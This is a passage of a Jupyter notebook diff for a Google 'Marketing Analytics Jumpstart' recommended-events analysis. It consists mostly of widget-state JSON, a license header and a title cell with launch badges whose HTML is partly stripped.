"grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "536ff1057f0e44d9985e76d3c320c7fd": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "9d9c41199f094121b70eb561b2243654": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7b7b0397219a4ce98149f88c274ae6fa": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2b9bd5bb500642288f0503b10f0814d6": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_482f143bc653446780d5306130c213ab", + "IPY_MODEL_80e7a46044d94f31a151a2a9c2b9820f", + "IPY_MODEL_475a36c2e5c44b40987b6352c400706c" + ], + "layout": "IPY_MODEL_19aed523b1514eb69cd9c1fe84f64469" + } + }, + "482f143bc653446780d5306130c213ab": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_aa913f5069c84d689fe80109f8fd39d7", + "placeholder": "β", + "style": "IPY_MODEL_85d79e9483714568a13d0215acc0d4c9", + "value": "Exportβreportβtoβfile:β100%" + } + }, + "80e7a46044d94f31a151a2a9c2b9820f": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f3216918c66b46aaaa7af39dfb4185e9", + "max": 1, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_51e51aa2d6cc4e7bbcfd3ea3e293fd1a", + "value": 1 + } + }, + "475a36c2e5c44b40987b6352c400706c": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5a6a033f4a5b4827a3e58b0b5d4413b1", + "placeholder": "β", + "style": "IPY_MODEL_9090416b0b974821ad5fef43b11e5dc9", + "value": "β1/1β[00:00<00:00,β25.51it/s]" + } + }, + "19aed523b1514eb69cd9c1fe84f64469": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "aa913f5069c84d689fe80109f8fd39d7": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "85d79e9483714568a13d0215acc0d4c9": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f3216918c66b46aaaa7af39dfb4185e9": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "51e51aa2d6cc4e7bbcfd3ea3e293fd1a": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "5a6a033f4a5b4827a3e58b0b5d4413b1": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9090416b0b974821ad5fef43b11e5dc9": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "af6f4809165243a0954794c1a5aa27c5": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e53e43bbf7664c52a8596aa2904aa028", + "placeholder": "β", + "style": "IPY_MODEL_5f5fd2294c99427c8705a42d25fecdd7", + "value": "\n\n\n \n \n\n\n \n \n \n \n \n \n\n\n" + } + }, + "e53e43bbf7664c52a8596aa2904aa028": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5f5fd2294c99427c8705a42d25fecdd7": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "8984f440582d47f3906577d85cea75be": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ButtonModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ButtonModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ButtonView", + "button_style": "", + "description": "Display Analysis", + "disabled": false, + "icon": "", + "layout": "IPY_MODEL_eeff31568fbf45128403f36d4bc4ef52", + "style": "IPY_MODEL_798f3dabcdbc4b5d8a158865c4d57ec6", + "tooltip": "" + } + }, + "eeff31568fbf45128403f36d4bc4ef52": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "798f3dabcdbc4b5d8a158865c4d57ec6": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ButtonStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ButtonStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "button_color": null, + "font_weight": "" + } + } + } + } + }, + "cells": [ + { + "cell_type": "code", + "source": [ + "# Copyright 2025 Google LLC\n", + "#\n", + "# Licensed under the Apache License, Version 2.0 (the \"License\");\n", + "# you may not use this file except in compliance with the License.\n", + "# You may obtain a copy of the License at\n", + "#\n", + "# https://www.apache.org/licenses/LICENSE-2.0\n", + "#\n", + "# Unless required by applicable law or agreed to in writing, software\n", + "# distributed under the License is distributed on an \"AS IS\" BASIS,\n", + "# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n", + "# See the License for the specific language governing permissions and\n", + "# limitations under the License." + ], + "metadata": { + "id": "YMdNqXlGhlGe" + }, + "execution_count": null, + "outputs": [] + }, + { + "cell_type": "markdown", + "source": [ + "# Marketing Analytics Jumpstart - Recommended Events Analysis\n", + "\n", + "
\n",
+ " \n",
+ " ![\"Google](\"https://www.gstatic.com/pantheon/images/bigquery/welcome_page/colab-logo.svg\"){kind=logo} Run in Colab\n", + " \n", + " | \n",
+ " \n",
+ " \n",
+ " ![\"Google](\"https://lh3.googleusercontent.com/JmcxdQi-qOpctIvWKgPtrzZdJJK-J3sWE1RsfjZNwshCFgE_9fULcNpuXYTilIR2hjwN\") Run in Colab Enterprise\n", + " \n", + " | \n",
+ " \n",
+ " \n",
+ " ![\"GitHub](\"https://upload.wikimedia.org/wikipedia/commons/9/91/Octicons-mark-github.svg\") View on GitHub\n", + " \n", + " | \n",
+ " \n",
+ " \n",
+ " ![\"Vertex](\"https://www.gstatic.com/images/branding/gcpiconscolors/vertexai/v1/32px.svg\") Open in Vertex AI Workbench\n", + " \n", + " | \n",
+ "
| \n",
+ " \n",
+ " Run in Colab\n", + " \n", + " | \n",
+ " \n",
+ " \n",
+ " Run in Colab Enterprise\n", + " \n", + " | \n",
+ " \n",
+ " \n",
+ " View on GitHub\n", + " \n", + " | \n",
+ " \n",
+ " \n",
+ " Open in Vertex AI Workbench\n", + " \n", + " | \n",
+ "